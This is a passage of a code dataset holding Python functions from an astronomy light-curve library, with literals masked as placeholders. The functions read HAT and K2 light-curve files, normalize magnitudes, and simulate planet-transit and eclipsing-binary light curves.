lccolumns[colind]])<EOL><DEDENT>elif col in COLUMNDEFS:<EOL><INDENT>lcdict[col] = np.array([_smartcast(x,COLUMNDEFS[col][<NUM_LIT:2>])<EOL>for x in lccolumns[colind]])<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>' % col)<EOL>continue<EOL><DEDENT><DEDENT>return lcdict<EOL>", "docstring": "This reads a HAT data server or LCC-Server produced CSV light curve\n    into an lcdict.\n\n    This will automatically figure out the format of the file\n    provided. Currently, it can read:\n\n    - legacy HAT data server CSV LCs (e.g. from\n      https://hatsouth.org/planets/lightcurves.html) with an extension of the\n      form: `.hatlc.csv.gz`.\n    - all LCC-Server produced LCC-CSV-V1 LCs (e.g. from\n      https://data.hatsurveys.org) with an extension of the form: `-csvlc.gz`.\n\n\n    Parameters\n    ----------\n\n    lcfile : str\n        The light curve file to read.\n\n    Returns\n    -------\n\n    dict\n        Returns an lcdict that can be read and used by many astrobase processing\n        functions.", "id": "f14689:m13"}
{"signature": "def find_lc_timegroups(lctimes, mingap=<NUM_LIT>):", "body": "lc_time_diffs = [(lctimes[x] - lctimes[x-<NUM_LIT:1>]) for x in range(<NUM_LIT:1>,len(lctimes))]<EOL>lc_time_diffs = np.array(lc_time_diffs)<EOL>group_start_indices = np.where(lc_time_diffs > mingap)[<NUM_LIT:0>]<EOL>if len(group_start_indices) > <NUM_LIT:0>:<EOL><INDENT>group_indices = []<EOL>for i, gindex in enumerate(group_start_indices):<EOL><INDENT>if i == <NUM_LIT:0>:<EOL><INDENT>group_indices.append(slice(<NUM_LIT:0>,gindex+<NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>group_indices.append(slice(group_start_indices[i-<NUM_LIT:1>]+<NUM_LIT:1>,gindex+<NUM_LIT:1>))<EOL><DEDENT><DEDENT>group_indices.append(slice(group_start_indices[-<NUM_LIT:1>]+<NUM_LIT:1>,len(lctimes)))<EOL><DEDENT>else:<EOL><INDENT>group_indices = [slice(<NUM_LIT:0>,len(lctimes))]<EOL><DEDENT>return len(group_indices), group_indices<EOL>", "docstring": "This finds the time gaps in the light curve, so we can figure out which\n    times are for consecutive observations and which represent gaps\n    between seasons.\n\n    Parameters\n    ----------\n\n    lctimes : np.array\n        This is the input array of times, assumed to be in some form of JD.\n\n    mingap : float\n        This defines how much the difference between consecutive measurements is\n        allowed to be to consider them as parts of different timegroups. By\n        default it is set to 4.0 days.\n\n    Returns\n    -------\n\n    tuple\n        A tuple of the form below is returned, containing the number of time\n        groups found and Python slice objects for each group::\n\n            (ngroups, [slice(start_ind_1, end_ind_1), ...])", "id": "f14689:m14"}
{"signature": "def normalize_lcdict(lcdict,<EOL>timecol='<STR_LIT>',<EOL>magcols='<STR_LIT:all>',<EOL>mingap=<NUM_LIT>,<EOL>normto='<STR_LIT>',<EOL>debugmode=False,<EOL>quiet=False):", "body": "<EOL>if '<STR_LIT>' in lcdict and len(lcdict['<STR_LIT>']) > <NUM_LIT:0>:<EOL><INDENT>if not quiet:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL><DEDENT>return lcdict<EOL><DEDENT>if timecol in lcdict:<EOL><INDENT>times = lcdict[timecol]<EOL><DEDENT>elif '<STR_LIT>' in lcdict:<EOL><INDENT>times = lcdict['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\" %<EOL>lcdict['<STR_LIT>'])<EOL>return lcdict<EOL><DEDENT>ngroups, timegroups = find_lc_timegroups(np.array(times),<EOL>mingap=mingap)<EOL>if '<STR_LIT>' in lcdict:<EOL><INDENT>apertures = sorted(lcdict['<STR_LIT>'].keys())<EOL><DEDENT>elif '<STR_LIT>' in lcdict and '<STR_LIT>' in lcdict['<STR_LIT>']:<EOL><INDENT>apertures = sorted(lcdict['<STR_LIT>']['<STR_LIT>'].keys())<EOL><DEDENT>aimcols = [('<STR_LIT>' % x) for x in apertures if ('<STR_LIT>' % x) in lcdict]<EOL>armcols = [('<STR_LIT>' % x) for x in apertures if ('<STR_LIT>' % x) in lcdict]<EOL>aepcols = [('<STR_LIT>' % x)for x in apertures if ('<STR_LIT>' % x) in lcdict]<EOL>atfcols = [('<STR_LIT>' % x) for x in apertures if ('<STR_LIT>' % x) in lcdict]<EOL>psimcols = [x for x in ['<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>'] if x in lcdict]<EOL>irmcols = [('<STR_LIT>' % x) for x in apertures if ('<STR_LIT>' % x) in lcdict]<EOL>iepcols = [('<STR_LIT>' % x) for x in apertures if ('<STR_LIT>' % x) in lcdict]<EOL>itfcols = [('<STR_LIT>' % x) for x in apertures if ('<STR_LIT>' % x) in lcdict]<EOL>if magcols == '<STR_LIT:all>':<EOL><INDENT>cols_to_normalize = (aimcols + armcols + aepcols + atfcols +<EOL>psimcols + irmcols + iepcols + itfcols)<EOL><DEDENT>elif magcols == '<STR_LIT>':<EOL><INDENT>cols_to_normalize = (irmcols + (['<STR_LIT>'] if '<STR_LIT>' in lcdict else []) +<EOL>irmcols)<EOL><DEDENT>elif magcols == '<STR_LIT>':<EOL><INDENT>cols_to_normalize = (aepcols + (['<STR_LIT>'] if '<STR_LIT>' in lcdict else []) +<EOL>iepcols)<EOL><DEDENT>elif magcols == '<STR_LIT>':<EOL><INDENT>cols_to_normalize = (atfcols + (['<STR_LIT>'] if '<STR_LIT>' in lcdict else []) +<EOL>itfcols)<EOL><DEDENT>elif magcols == '<STR_LIT>':<EOL><INDENT>cols_to_normalize = (aepcols + (['<STR_LIT>'] if '<STR_LIT>' in lcdict else []) +<EOL>iepcols + atfcols +<EOL>(['<STR_LIT>'] if '<STR_LIT>' in lcdict else []) +<EOL>itfcols)<EOL><DEDENT>else:<EOL><INDENT>cols_to_normalize = magcols.split('<STR_LIT:U+002C>')<EOL>cols_to_normalize = [x.strip() for x in cols_to_normalize]<EOL><DEDENT>colsnormalized = []<EOL>for col in cols_to_normalize:<EOL><INDENT>if col in lcdict:<EOL><INDENT>mags = lcdict[col]<EOL>mags = [(nan if x is None else x) for x in mags]<EOL>mags = np.array(mags)<EOL>colsnormalized.append(col)<EOL>finite_ind = np.isfinite(mags)<EOL>if any(finite_ind):<EOL><INDENT>global_mag_median = np.median(mags[finite_ind])<EOL>for tgind, tg in enumerate(timegroups):<EOL><INDENT>finite_ind = np.isfinite(mags[tg])<EOL>group_median = np.median((mags[tg])[finite_ind])<EOL>mags[tg] = mags[tg] - group_median<EOL>if debugmode:<EOL><INDENT>LOGDEBUG('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(col, tgind,<EOL>len(mags[tg]),<EOL>len(finite_ind),<EOL>group_median))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>' % col)<EOL>continue<EOL><DEDENT>if normto == '<STR_LIT>':<EOL><INDENT>mags = mags + global_mag_median<EOL><DEDENT>elif normto in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if (normto in lcdict['<STR_LIT>'] and<EOL>lcdict['<STR_LIT>'][normto] is not None):<EOL><INDENT>mags = mags + lcdict['<STR_LIT>'][normto]<EOL><DEDENT>else:<EOL><INDENT>if not quiet:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' % normto)<EOL><DEDENT>normto = '<STR_LIT>'<EOL>mags = mags + global_mag_median<EOL><DEDENT><DEDENT>lcdict[col] = mags<EOL><DEDENT>else:<EOL><INDENT>if not quiet:<EOL><INDENT>LOGWARNING('<STR_LIT>' % col)<EOL><DEDENT>continue<EOL><DEDENT><DEDENT>lcnormcols = ('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>') % (<EOL>repr(colsnormalized),<EOL>mingap,<EOL>normto<EOL>)<EOL>lcdict['<STR_LIT>'] = lcnormcols<EOL>return lcdict<EOL>", "docstring": "This normalizes magcols in `lcdict` using `timecol` to find timegroups.\n\n    Parameters\n    ----------\n\n    lcdict : dict\n        The input lcdict to process.\n\n    timecol : str\n        The key in the lcdict that is to be used to extract the time column.\n\n    magcols : 'all' or list of str\n        If this is 'all', all of the columns in the lcdict that are indicated to\n        be magnitude measurement columns are normalized. If this is a list of\n        str, must contain the keys of the lcdict specifying which magnitude\n        columns will be normalized.\n\n    mingap : float\n        This defines how much the difference between consecutive measurements is\n        allowed to be to consider them as parts of different timegroups. By\n        default it is set to 4.0 days.\n\n    normto : {'globalmedian', 'zero', 'jmag', 'hmag', 'kmag', 'bmag', 'vmag', 'sdssg', 'sdssr', 'sdssi'}\n        This indicates which column will be the normalization target. If this is\n        'globalmedian', the normalization will be to the global median of each\n        LC column. If this is 'zero', will normalize to 0.0 for each LC\n        column. Otherwise, will normalize to the value of one of the other keys\n        in the lcdict['objectinfo'][magkey], meaning the normalization will be\n        to some form of catalog magnitude.\n\n    debugmode : bool\n        If True, will indicate progress as time-groups are found and processed.\n\n    quiet : bool\n        If True, will not emit any messages when processing.\n\n    Returns\n    -------\n\n    dict\n        Returns the lcdict with the magnitude measurements normalized as\n        specified. The normalization happens IN PLACE.", "id": "f14689:m15"}
{"signature": "def normalize_lcdict_byinst(<EOL>lcdict,<EOL>magcols='<STR_LIT:all>',<EOL>normto='<STR_LIT>',<EOL>normkeylist=('<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>'),<EOL>debugmode=False,<EOL>quiet=False<EOL>):", "body": "<EOL>if '<STR_LIT>' in lcdict and len(lcdict['<STR_LIT>']) > <NUM_LIT:0>:<EOL><INDENT>if not quiet:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return lcdict<EOL><DEDENT>normkeycols = []<EOL>availablenormkeys = []<EOL>for key in normkeylist:<EOL><INDENT>if key in lcdict and lcdict[key] is not None:<EOL><INDENT>normkeycols.append(lcdict[key])<EOL>availablenormkeys.append(key)<EOL><DEDENT><DEDENT>normkeycols = list(zip(*normkeycols))<EOL>allkeys = [repr(x) for x in normkeycols]<EOL>allkeys = [a.replace('<STR_LIT:(>','<STR_LIT>').replace('<STR_LIT:)>','<STR_LIT>').replace(\"<STR_LIT:'>\",'<STR_LIT>').replace('<STR_LIT:U+0020>','<STR_LIT>')<EOL>for a in allkeys]<EOL>allkeys = np.array(allkeys)<EOL>normkeys = np.unique(allkeys)<EOL>if '<STR_LIT>' in lcdict:<EOL><INDENT>apertures = sorted(lcdict['<STR_LIT>'].keys())<EOL><DEDENT>elif '<STR_LIT>' in lcdict and '<STR_LIT>' in lcdict['<STR_LIT>']:<EOL><INDENT>apertures = sorted(lcdict['<STR_LIT>']['<STR_LIT>'].keys())<EOL><DEDENT>aimcols = [('<STR_LIT>' % x) for x in apertures if ('<STR_LIT>' % x) in lcdict]<EOL>armcols = [('<STR_LIT>' % x) for x in apertures if ('<STR_LIT>' % x) in lcdict]<EOL>aepcols = [('<STR_LIT>' % x)for x in apertures if ('<STR_LIT>' % x) in lcdict]<EOL>atfcols = [('<STR_LIT>' % x) for x in apertures if ('<STR_LIT>' % x) in lcdict]<EOL>psimcols = [x for x in ['<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>'] if x in lcdict]<EOL>irmcols = [('<STR_LIT>' % x) for x in apertures if ('<STR_LIT>' % x) in lcdict]<EOL>iepcols = [('<STR_LIT>' % x) for x in apertures if ('<STR_LIT>' % x) in lcdict]<EOL>itfcols = [('<STR_LIT>' % x) for x in apertures if ('<STR_LIT>' % x) in lcdict]<EOL>if magcols == '<STR_LIT:all>':<EOL><INDENT>cols_to_normalize = (aimcols + armcols + aepcols + atfcols +<EOL>psimcols + irmcols + iepcols + itfcols)<EOL><DEDENT>elif magcols == '<STR_LIT>':<EOL><INDENT>cols_to_normalize = (irmcols + (['<STR_LIT>'] if '<STR_LIT>' in lcdict else []) +<EOL>irmcols)<EOL><DEDENT>elif magcols == '<STR_LIT>':<EOL><INDENT>cols_to_normalize = (aepcols + (['<STR_LIT>'] if '<STR_LIT>' in lcdict else []) +<EOL>iepcols)<EOL><DEDENT>elif magcols == '<STR_LIT>':<EOL><INDENT>cols_to_normalize = (atfcols + (['<STR_LIT>'] if '<STR_LIT>' in lcdict else []) +<EOL>itfcols)<EOL><DEDENT>elif magcols == '<STR_LIT>':<EOL><INDENT>cols_to_normalize = (aepcols + (['<STR_LIT>'] if '<STR_LIT>' in lcdict else []) +<EOL>iepcols + atfcols +<EOL>(['<STR_LIT>'] if '<STR_LIT>' in lcdict else []) +<EOL>itfcols)<EOL><DEDENT>else:<EOL><INDENT>cols_to_normalize = magcols.split('<STR_LIT:U+002C>')<EOL>cols_to_normalize = [x.strip() for x in cols_to_normalize]<EOL><DEDENT>colsnormalized = []<EOL>for col in cols_to_normalize:<EOL><INDENT>if col in lcdict:<EOL><INDENT>thismags = lcdict[col]<EOL>for nkey in normkeys:<EOL><INDENT>thisind = allkeys == nkey<EOL>thismagsize = thismags[thisind].size<EOL>thismagfinite = np.where(np.isfinite(thismags[thisind]))[<NUM_LIT:0>].size<EOL>if thismagsize > <NUM_LIT:2> and thismagfinite > <NUM_LIT:2>:<EOL><INDENT>medmag = np.nanmedian(thismags[thisind])<EOL>lcdict[col][thisind] = lcdict[col][thisind] - medmag<EOL>if debugmode:<EOL><INDENT>LOGDEBUG('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(col, nkey, len(thismags[thisind]), medmag))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>lcdict[col][thisind] = np.nan<EOL><DEDENT><DEDENT>if normto in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if (normto in lcdict['<STR_LIT>'] and<EOL>lcdict['<STR_LIT>'][normto] is not None):<EOL><INDENT>lcdict[col] = lcdict[col] + lcdict['<STR_LIT>'][normto]<EOL><DEDENT>else:<EOL><INDENT>if not quiet:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' % normto)<EOL><DEDENT>normto = '<STR_LIT>'<EOL><DEDENT><DEDENT>colsnormalized.append(col)<EOL><DEDENT>else:<EOL><INDENT>if not quiet:<EOL><INDENT>LOGWARNING('<STR_LIT>' % col)<EOL><DEDENT>continue<EOL><DEDENT><DEDENT>lcinstnormcols = ('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>') % (repr(colsnormalized),<EOL>normto,<EOL>repr(availablenormkeys))<EOL>lcdict['<STR_LIT>'] = lcinstnormcols<EOL>return lcdict<EOL>", "docstring": "This is a function to normalize light curves across all instrument\n    combinations present.\n\n    Use this to normalize a light curve containing a variety of:\n\n    - HAT station IDs ('stf')\n    - camera IDs ('ccd')\n    - filters ('flt')\n    - observed field names ('fld')\n    - HAT project IDs ('prj')\n    - exposure times ('exp')\n\n    Parameters\n    ----------\n\n    lcdict : dict\n        The input lcdict to process.\n\n    magcols : 'all' or list of str\n        If this is 'all', all of the columns in the lcdict that are indicated to\n        be magnitude measurement columns are normalized. If this is a list of\n        str, must contain the keys of the lcdict specifying which magnitude\n        columns will be normalized.\n\n    normto : {'zero', 'jmag', 'hmag', 'kmag', 'bmag', 'vmag', 'sdssg', 'sdssr', 'sdssi'}\n        This indicates which column will be the normalization target. If this is\n        'zero', will normalize to 0.0 for each LC column. Otherwise, will\n        normalize to the value of one of the other keys in the\n        lcdict['objectinfo'][magkey], meaning the normalization will be to some\n        form of catalog magnitude.\n\n    normkeylist : list of str\n        These are the column keys to use to form the normalization\n        index. Measurements in the specified `magcols` with identical\n        normalization index values will be considered as part of a single\n        measurement 'era', and will be normalized to zero. Once all eras have\n        been normalized this way, the final light curve will be re-normalized as\n        specified in `normto`.\n\n    debugmode : bool\n        If True, will indicate progress as time-groups are found and processed.\n\n    quiet : bool\n        If True, will not emit any messages when processing.\n\n    Returns\n    -------\n\n    dict\n        Returns the lcdict with the magnitude measurements normalized as\n        specified. The normalization happens IN PLACE.", "id": "f14689:m16"}
{"signature": "def main():", "body": "<EOL>import signal<EOL>signal.signal(signal.SIGPIPE, signal.SIG_DFL)<EOL>import argparse<EOL>aparser = argparse.ArgumentParser(<EOL>description='<STR_LIT>'<EOL>)<EOL>aparser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store>',<EOL>type=str,<EOL>help=(\"<STR_LIT>\")<EOL>)<EOL>aparser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>default=False,<EOL>help=(\"<STR_LIT>\")<EOL>)<EOL>args = aparser.parse_args()<EOL>filetoread = args.hatlcfile<EOL>if not os.path.exists(filetoread):<EOL><INDENT>LOGERROR(\"<STR_LIT>\" % filetoread)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>filename = os.path.basename(filetoread)<EOL>if filename.endswith('<STR_LIT>') or filename.endswith('<STR_LIT>'):<EOL><INDENT>if args.describe:<EOL><INDENT>describe(read_csvlc(filename))<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>with gzip.open(filename,'<STR_LIT:rb>') as infd:<EOL><INDENT>for line in infd:<EOL><INDENT>print(line.decode(),end='<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif filename.endswith('<STR_LIT>'):<EOL><INDENT>lcdict, msg = read_and_filter_sqlitecurve(filetoread)<EOL>describe(lcdict, offsetwith='<STR_LIT:#>')<EOL>if args.describe:<EOL><INDENT>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>apertures = sorted(lcdict['<STR_LIT>'].keys())<EOL>for aper in apertures:<EOL><INDENT>COLUMNDEFS.update({'<STR_LIT>' % (x, aper): COLUMNDEFS[x] for x in<EOL>LC_MAG_COLUMNS})<EOL>COLUMNDEFS.update({'<STR_LIT>' % (x, aper): COLUMNDEFS[x] for x in<EOL>LC_ERR_COLUMNS})<EOL>COLUMNDEFS.update({'<STR_LIT>' % (x, aper): COLUMNDEFS[x] for x in<EOL>LC_FLAG_COLUMNS})<EOL><DEDENT>formstr = '<STR_LIT:U+002C>'.join([COLUMNDEFS[x][<NUM_LIT:1>] for x in lcdict['<STR_LIT>']])<EOL>ndet = lcdict['<STR_LIT>']['<STR_LIT>']<EOL>for ind in range(ndet):<EOL><INDENT>line = [lcdict[x][ind] for x in lcdict['<STR_LIT>']]<EOL>formline = formstr % tuple(line)<EOL>print(formline)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' % filetoread)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "This is called when we're executed from the commandline.\n\nThe current usage from the command-line is described below::\n\n    usage: hatlc [-h] [--describe] hatlcfile\n\n    read a HAT LC of any format and output to stdout\n\n    positional arguments:\n      hatlcfile   path to the light curve you want to read and pipe to stdout\n\n    optional arguments:\n      -h, --help  show this help message and exit\n      --describe  don't dump the columns, show only object info and LC metadata", "id": "f14689:m17"}
{"signature": "def _parse_csv_header(header):", "body": "<EOL>headerlines = header.split('<STR_LIT:\\n>')<EOL>headerlines = [x.lstrip('<STR_LIT>') for x in headerlines]<EOL>metadatastart = headerlines.index('<STR_LIT>')<EOL>columnstart = headerlines.index('<STR_LIT>')<EOL>lcstart = headerlines.index('<STR_LIT>')<EOL>metadata = headerlines[metadatastart+<NUM_LIT:1>:columnstart-<NUM_LIT:1>]<EOL>columndefs = headerlines[columnstart+<NUM_LIT:1>:lcstart-<NUM_LIT:1>]<EOL>metainfo = [x.split('<STR_LIT:U+002C>') for x in metadata][:-<NUM_LIT:1>]<EOL>aperpixradius = metadata[-<NUM_LIT:1>]<EOL>objectid, kepid, ucac4id, kepmag = metainfo[<NUM_LIT:0>]<EOL>objectid, kepid, ucac4id, kepmag = (objectid.split('<STR_LIT>')[-<NUM_LIT:1>],<EOL>kepid.split('<STR_LIT>')[-<NUM_LIT:1>],<EOL>ucac4id.split('<STR_LIT>')[-<NUM_LIT:1>],<EOL>kepmag.split('<STR_LIT>')[-<NUM_LIT:1>])<EOL>kepmag = float(kepmag) if kepmag else None<EOL>ra, decl, ndet, k2campaign = metainfo[<NUM_LIT:1>]<EOL>ra, decl, ndet, k2campaign = (ra.split('<STR_LIT>')[-<NUM_LIT:1>],<EOL>decl.split('<STR_LIT>')[-<NUM_LIT:1>],<EOL>int(ndet.split('<STR_LIT>')[-<NUM_LIT:1>]),<EOL>int(k2campaign.split('<STR_LIT>')[-<NUM_LIT:1>]))<EOL>fovccd, fovchannel, fovmodule = metainfo[<NUM_LIT:2>]<EOL>fovccd, fovchannel, fovmodule = (int(fovccd.split('<STR_LIT>')[-<NUM_LIT:1>]),<EOL>int(fovchannel.split('<STR_LIT>')[-<NUM_LIT:1>]),<EOL>int(fovmodule.split('<STR_LIT>')[-<NUM_LIT:1>]))<EOL>try:<EOL><INDENT>qualflag, bjdoffset, napertures = metainfo[<NUM_LIT:3>]<EOL>qualflag, bjdoffset, napertures = (int(qualflag.split('<STR_LIT>')[-<NUM_LIT:1>]),<EOL>float(bjdoffset.split('<STR_LIT>')[-<NUM_LIT:1>]),<EOL>int(napertures.split('<STR_LIT>')[-<NUM_LIT:1>]))<EOL>kernelspec = None<EOL><DEDENT>except Exception as e:<EOL><INDENT>qualflag, bjdoffset, napertures, kernelspec = metainfo[<NUM_LIT:3>]<EOL>qualflag, bjdoffset, napertures, kernelspec = (<EOL>int(qualflag.split('<STR_LIT>')[-<NUM_LIT:1>]),<EOL>float(bjdoffset.split('<STR_LIT>')[-<NUM_LIT:1>]),<EOL>int(napertures.split('<STR_LIT>')[-<NUM_LIT:1>]),<EOL>str(kernelspec.split('<STR_LIT>')[-<NUM_LIT:1>])<EOL>)<EOL><DEDENT>aperpixradius = aperpixradius.split('<STR_LIT>')[-<NUM_LIT:1>].split('<STR_LIT:U+002C>')<EOL>aperpixradius = [float(x) for x in aperpixradius]<EOL>columns = [x.split('<STR_LIT>')[<NUM_LIT:1>] for x in columndefs]<EOL>metadict = {'<STR_LIT>':objectid,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':objectid,<EOL>'<STR_LIT>':kepid,<EOL>'<STR_LIT>':ucac4id,<EOL>'<STR_LIT>':kepmag,<EOL>'<STR_LIT>':ra,<EOL>'<STR_LIT>':decl,<EOL>'<STR_LIT>':ndet,<EOL>'<STR_LIT>':k2campaign,<EOL>'<STR_LIT>':fovccd,<EOL>'<STR_LIT>':fovchannel,<EOL>'<STR_LIT>':fovmodule,<EOL>'<STR_LIT>':qualflag,<EOL>'<STR_LIT>':bjdoffset,<EOL>'<STR_LIT>':napertures,<EOL>'<STR_LIT>':kernelspec,<EOL>'<STR_LIT>':aperpixradius,<EOL>},<EOL>'<STR_LIT>':columns}<EOL>return metadict<EOL>", "docstring": "This parses a CSV header from a K2 CSV LC.\n\n    Returns a dict that can be used to update an existing lcdict with the\n    relevant metadata info needed to form a full LC.", "id": "f14690:m0"}
{"signature": "def read_csv_lightcurve(lcfile):", "body": "<EOL>if '<STR_LIT>' in os.path.basename(lcfile):<EOL><INDENT>LOGINFO('<STR_LIT>' % lcfile)<EOL>infd = gzip.open(lcfile,'<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>LOGINFO('<STR_LIT>' % lcfile)<EOL>infd = open(lcfile,'<STR_LIT:rb>')<EOL><DEDENT>lctext = infd.read().decode()<EOL>infd.close()<EOL>lcstart = lctext.index('<STR_LIT>')<EOL>lcheader = lctext[:lcstart+<NUM_LIT:12>]<EOL>lccolumns = lctext[lcstart+<NUM_LIT>:].split('<STR_LIT:\\n>')<EOL>lccolumns = [x.split('<STR_LIT:U+002C>') for x in lccolumns if len(x) > <NUM_LIT:0>]<EOL>lcdict = _parse_csv_header(lcheader)<EOL>lccolumns = list(zip(*lccolumns))<EOL>for colind, col in enumerate(lcdict['<STR_LIT>']):<EOL><INDENT>lcdict[col.lower()] = np.array([COLUMNDEFS[col][<NUM_LIT:2>](x)<EOL>for x in lccolumns[colind]])<EOL><DEDENT>lcdict['<STR_LIT>'] = [x.lower() for x in lcdict['<STR_LIT>']]<EOL>return lcdict<EOL>", "docstring": "This reads in a K2 lightcurve in CSV format. Transparently reads gzipped\nfiles.\n\nParameters\n----------\n\nlcfile : str\n    The light curve file to read.\n\nReturns\n-------\n\ndict\n    Returns an lcdict.", "id": "f14690:m1"}
{"signature": "def generate_transit_lightcurve(<EOL>times,<EOL>mags=None,<EOL>errs=None,<EOL>paramdists={'<STR_LIT>':sps.uniform(loc=<NUM_LIT:0.1>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>,scale=<NUM_LIT>)},<EOL>magsarefluxes=False,<EOL>):", "body": "if mags is None:<EOL><INDENT>mags = np.full_like(times, <NUM_LIT:0.0>)<EOL><DEDENT>if errs is None:<EOL><INDENT>errs = np.full_like(times, <NUM_LIT:0.0>)<EOL><DEDENT>epoch = npr.random()*(times.max() - times.min()) + times.min()<EOL>period = paramdists['<STR_LIT>'].rvs(size=<NUM_LIT:1>)<EOL>depth = paramdists['<STR_LIT>'].rvs(size=<NUM_LIT:1>)<EOL>duration = paramdists['<STR_LIT>'].rvs(size=<NUM_LIT:1>)<EOL>ingduration = npr.random()*(<NUM_LIT:0.5>*duration - <NUM_LIT>*duration) + <NUM_LIT>*duration<EOL>if magsarefluxes and depth < <NUM_LIT:0.0>:<EOL><INDENT>depth = -depth<EOL><DEDENT>elif not magsarefluxes and depth > <NUM_LIT:0.0>:<EOL><INDENT>depth = -depth<EOL><DEDENT>modelmags, phase, ptimes, pmags, perrs = (<EOL>transits.trapezoid_transit_func([period, epoch, depth,<EOL>duration, ingduration],<EOL>times,<EOL>mags,<EOL>errs)<EOL>)<EOL>timeind = np.argsort(ptimes)<EOL>mtimes = ptimes[timeind]<EOL>mmags = modelmags[timeind]<EOL>merrs = perrs[timeind]<EOL>modeldict = {<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{x:np.asscalar(y) for x,y in zip(['<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'],<EOL>[period,<EOL>epoch,<EOL>depth,<EOL>duration,<EOL>ingduration])},<EOL>'<STR_LIT>':mtimes,<EOL>'<STR_LIT>':mmags,<EOL>'<STR_LIT>':merrs,<EOL>'<STR_LIT>':period,<EOL>'<STR_LIT>':depth<EOL>}<EOL>return modeldict<EOL>", "docstring": "This generates fake planet transit light curves.\n\n    Parameters\n    ----------\n\n    times : np.array\n        This is an array of time values that will be used as the time base.\n\n    mags,errs : np.array\n        These arrays will have the model added to them. If either is\n        None, `np.full_like(times, 0.0)` will used as a substitute and the model\n        light curve will be centered around 0.0.\n\n    paramdists : dict\n        This is a dict containing parameter distributions to use for the\n        model params, containing the following keys ::\n\n            {'transitperiod', 'transitdepth', 'transitduration'}\n\n        The values of these keys should all be 'frozen' scipy.stats distribution\n        objects, e.g.:\n\n        https://docs.scipy.org/doc/scipy/reference/stats.html#continuous-distributions\n        The variability epoch will be automatically chosen from a uniform\n        distribution between `times.min()` and `times.max()`.\n\n        The ingress duration will be automatically chosen from a uniform\n        distribution ranging from 0.05 to 0.5 of the transitduration.\n\n        The transitdepth will be flipped automatically as appropriate if\n        `magsarefluxes=True`.\n\n    magsarefluxes : bool\n        If the generated time series is meant to be a flux time-series, set this\n        to True to get the correct sign of variability amplitude.\n\n    Returns\n    -------\n\n    dict\n        A dict of the form below is returned::\n\n            {'vartype': 'planet',\n             'params': {'transitperiod': generated value of period,\n                        'transitepoch': generated value of epoch,\n                        'transitdepth': generated value of transit depth,\n                        'transitduration': generated value of transit duration,\n                        'ingressduration': generated value of transit ingress\n                                           duration},\n             'times': the model times,\n             'mags': the model mags,\n             'errs': the model errs,\n             'varperiod': the generated period of variability == 'transitperiod'\n             'varamplitude': the generated amplitude of\n                             variability == 'transitdepth'}", "id": "f14691:m1"}
{"signature": "def generate_eb_lightcurve(<EOL>times,<EOL>mags=None,<EOL>errs=None,<EOL>paramdists={'<STR_LIT>':sps.uniform(loc=<NUM_LIT>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':sps.norm(loc=<NUM_LIT:0.5>,scale=<NUM_LIT:0.1>)},<EOL>magsarefluxes=False,<EOL>):", "body": "if mags is None:<EOL><INDENT>mags = np.full_like(times, <NUM_LIT:0.0>)<EOL><DEDENT>if errs is None:<EOL><INDENT>errs = np.full_like(times, <NUM_LIT:0.0>)<EOL><DEDENT>epoch = npr.random()*(times.max() - times.min()) + times.min()<EOL>period = paramdists['<STR_LIT>'].rvs(size=<NUM_LIT:1>)<EOL>pdepth = paramdists['<STR_LIT>'].rvs(size=<NUM_LIT:1>)<EOL>pduration = paramdists['<STR_LIT>'].rvs(size=<NUM_LIT:1>)<EOL>depthratio = paramdists['<STR_LIT>'].rvs(size=<NUM_LIT:1>)<EOL>secphase = paramdists['<STR_LIT>'].rvs(size=<NUM_LIT:1>)<EOL>if magsarefluxes and pdepth < <NUM_LIT:0.0>:<EOL><INDENT>pdepth = 